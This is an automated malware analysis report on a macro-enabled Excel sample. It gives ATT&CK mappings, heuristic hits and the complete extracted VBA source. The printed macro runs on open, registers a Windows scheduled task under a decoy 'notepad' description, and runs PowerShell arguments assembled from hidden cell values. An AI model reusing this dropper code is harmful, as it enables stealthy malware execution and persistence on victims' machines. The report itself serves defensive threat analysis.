MALICIOUS
168
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains a Workbook_Open VBA macro that utilizes CreateObject to interact with the Windows Task Scheduler. It then constructs a PowerShell command to execute. The macro references PowerShell and uses CreateObject, indicating a likely intent to download and execute a second-stage payload. The Workbook_Open macro is a common technique for initial execution within Office documents.
Heuristics 5
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Set xUserDefined = xDialogDemote.Actions.Create(ActionTypeExec) xUserDefined.Path = "powershell" For Each Cell In ActiveWorkbook.Sheets("Sheet2").Range("BG56:GH190") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Const xDialogErrorChecking = 0 Set xDialogUpdateLink = CreateObject("Schedule.Service") Call xDialogUpdateLink.Connect -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub Workbook_Open() xListConflictRetryAllConflicts = xFront()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3608 bytes |
SHA-256: c9ae2906bbbea57729a0409d4a167e6af4756ef5f3a63e29c793659ed38e7c42 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
xListConflictRetryAllConflicts = xFront()
End Sub
Function xFront()
Const xGuess = 1
Const xDialogErrorChecking = 0
Set xDialogUpdateLink = CreateObject("Schedule.Service")
Call xDialogUpdateLink.Connect
Set xFloor = xDialogUpdateLink.GetFolder(Chr(92))
Set xDialogDemote = xDialogUpdateLink.NewTask(0)
Set xTickMarkNone = xDialogDemote.RegistrationInfo
xTickMarkNone.Description = "Start notepad at a certain time"
xTickMarkNone.Author = "Author Name"
Set xNone = xDialogDemote.Principal
xNone.LogonType = 3
Set xDArea = xDialogDemote.Settings
xDArea.Enabled = True
xDArea.StartWhenAvailable = True
xDArea.Hidden = False
Set xParamTypeChar = xDialogDemote.Triggers
Set xPatternGrid = xParamTypeChar.Create(xGuess)
xThousandsSeparator = DateAdd("s", 126, Now)
xAlways = xIMEModeHangulFull(xThousandsSeparator)
xStretch = DateAdd("n", 10, Now)
xBetween = xIMEModeHangulFull(xStretch)
xPatternGrid.StartBoundary = xAlways
xPatternGrid.EndBoundary = xBetween
xPatternGrid.ExecutionTimeLimit = "PT5M"
xPatternGrid.ID = "TimeTriggerId"
xPatternGrid.Enabled = True
Set xUserDefined = xDialogDemote.Actions.Create(ActionTypeExec)
xUserDefined.Path = "powershell"
For Each Cell In ActiveWorkbook.Sheets("Sheet2").Range("BG56:GH190")
If Cell.Value > 0 Then
xHiLoLines = xHiLoLines & Chr(Cell.Value)
End If
Next Cell
Debug.Print xDiagonalDown
xNever = xHiLoLines
Debug.Print xNever
xUserDefined.Arguments = xNever
Call xFloor.RegisterTaskDefinition("Test TimeTrigger", xDialogDemote, 6, , , 3)
End Function
Function xIMEModeHangulFull(xVAlignBottom)
xLabelPositionBestFit = "0" & Second(xVAlignBottom)
xStError = "0" & Minute(xVAlignBottom)
xRangeAutoFormatList2 = "0" & Hour(xVAlignBottom)
xUnderlineStyleDouble = "0" & Day(xVAlignBottom)
xLinkStatusSourceNotOpen = "0" & Month(xVAlignBottom)
xNormalLoad = Year(xVAlignBottom)
xLegendEntry = Right(xRangeAutoFormatList2, 2) & ":" & Right(xStError, 2) & ":" & Right(xLabelPositionBestFit, 2)
xEntirePage = xNormalLoad & "-" & Right(xLinkStatusSourceNotOpen, 2) & "-" & Right(xUnderlineStyleDouble, 2)
xIMEModeHangulFull = xEntirePage & "T" & xLegendEntry
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 19968 bytes |
SHA-256: f0320c0dafba196fa3264c2eda619f073815333723c2c1ddcd749a8b49d33b37 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.